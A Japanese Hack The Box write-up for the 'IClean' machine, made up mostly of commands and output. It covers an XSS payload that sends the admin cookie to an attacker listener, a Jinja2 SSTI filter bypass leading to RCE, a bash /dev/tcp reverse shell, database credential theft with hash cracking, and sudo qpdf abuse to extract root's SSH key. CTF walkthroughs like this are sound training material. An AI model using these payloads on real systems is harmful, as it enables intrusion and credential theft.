Hack The BoxのWriteup(IClean)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: IClean — 手動攻略レポート
Nmap
22/80
capiclean.htb
XSS
/sendMessage
SSTI
/QRGenerator
DB hash
consuela
user.txt
sudo qpdf
root.txt

Nmap

実行コマンド
nmap -sC -sV -Pn 10.129.46.123
実行結果
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-title: Site does not have a title (text/html).

HTTPリダイレクト確認

実行コマンド
curl -s -i http://10.129.46.123/
実行結果
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)

<meta http-equiv="refresh" content="0;url=http://capiclean.htb">

追加:
10.129.46.123 capiclean.htb
IP直アクセスは capiclean.htb へ誘導するため、hosts登録後にWebを調査する。
Phase 2

XSS: 管理者Cookieの窃取

Get a QuoteフォームへXSSを送信

実行コマンド
python3 -m http.server 8093
curl -s -X POST http://capiclean.htb/sendMessage --data-urlencode 'service=<img src=1 onerror=this.src="http://10.10.15.201:8093/?"+document.cookie;>' --data-urlencode 'email=test@capiclean.htb'
実行結果
GET /?session=<admin-session-cookie> HTTP/1.1
Host: 10.10.15.201:8093

管理者Botが quote request を閲覧し、session Cookie が攻撃者側へ送信された。
Phase 3

SSTI: QRGeneratorからwww-data RCE

SSTIの成立確認

実行コマンド
curl -s -H "Cookie: session=<admin-session-cookie>" -X POST http://capiclean.htb/QRGenerator --data-urlencode invoice_id= --data-urlencode form_type=scannable_invoice --data-urlencode qr_link="{{7*7}}"
実行結果
<img src="data:image/png;base64,49" alt="QR Code">

Jinja2式が評価され、49が反映された。

ダブルアンダースコアフィルタをattrで回避

実行コマンド
curl -s -H "Cookie: session=<admin-session-cookie>" -X POST http://capiclean.htb/QRGenerator --data-urlencode invoice_id= --data-urlencode form_type=scannable_invoice --data-urlencode 'qr_link={{(''|attr(["_"*2,"class","_"*2]|join)|attr(["_"*2,"base","_"*2]|join)|attr(["_"*2,"subclasses","_"*2]|join)())[365]("id",shell=True,stdout=-1).communicate()}}'
実行結果
<img src="data:image/png;base64,(b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)" alt="QR Code">

subprocess.Popen はこの環境では index=365。www-data としてコマンド実行できた。

リバースシェル取得

実行コマンド
nc -lvnp 4444
# 別端末から、Base64化した /bin/bash -i >& /dev/tcp/10.10.15.201/4444 0>&1 をSSTIで実行
実行結果
connect to [10.10.15.201] from (UNKNOWN) [10.129.46.123]
www-data@iclean:/opt/app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 4

DB認証情報と user.txt

app.pyからDB接続情報を取得

実行コマンド
cat /opt/app/app.py | grep -A6 db_config
実行結果
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}

usersテーブルからconsuelaハッシュを取得

実行コマンド
mysql -h 127.0.0.1 -u iclean -ppxCsmnGLckUb -D capiclean -N -B -e 'select username,password from users'
実行結果
admin    2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51
consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa

SHA-256ハッシュをクラックしSSHログイン

実行コマンド
hashcat -m 1400 ic_hash.txt /usr/share/wordlists/rockyou.txt --show
sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'cat ~/user.txt'
実行結果
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean

e273e57bab3cc865ba355ca628c2fc4c
user.txt
e273e57bab3cc865ba355ca628c2fc4c
Phase 5

sudo qpdf によるroot権限取得

sudo権限確認

実行コマンド
sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'sudo -l'
実行結果
User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf
qpdf の --add-attachment は任意ファイルをPDFへ添付できる。sudoで実行できるため、rootしか読めないファイルをPDF内に埋め込ませられる。

root秘密鍵をPDFへ添付して抽出

実行コマンド
convert -size 595x842 xc:white -gravity center -annotate 0 'This is a dummy PDF' ic_dummy.pdf
sshpass -p 'simple and clean' scp ic_dummy.pdf consuela@10.129.46.123:/tmp/dummy.pdf
sshpass -p 'simple and clean' ssh consuela@10.129.46.123 "printf '%s\n' 'simple and clean' | sudo -S -p '' /usr/bin/qpdf /tmp/dummy.pdf --add-attachment /root/.ssh/id_rsa -- /tmp/root_key.pdf"
sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'qpdf /tmp/root_key.pdf --show-attachment=id_rsa' > ic_root_id_rsa
chmod 600 ic_root_id_rsa
実行結果
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

root のSSH秘密鍵をPDF添付から抽出できた。

root SSHでroot.txt取得

実行コマンド
ssh -i ic_root_id_rsa -o StrictHostKeyChecking=no root@10.129.46.123 'cat /root/root.txt'
実行結果
f905a20e787d98479cf8655e8d14aeb9
root.txt
f905a20e787d98479cf8655e8d14aeb9
Summary

攻略サマリー

項目内容
Initial Access/sendMessage の保存型XSSで管理者Cookieを窃取。
RCE管理者Cookieで /QRGenerator を使い、Jinja2 SSTIと attr() バイパスで subprocess.Popen を呼び出す。
User/opt/app/app.py のDB認証情報から consuela のSHA-256ハッシュを取得し、simple and clean にクラック。
Privilege Escalationsudo /usr/bin/qpdf の添付機能で /root/.ssh/id_rsa をPDFへ埋め込み、抽出した鍵でrootログイン。
Flagsuser.txt = e273e57bab3cc865ba355ca628c2fc4c
root.txt = f905a20e787d98479cf8655e8d14aeb9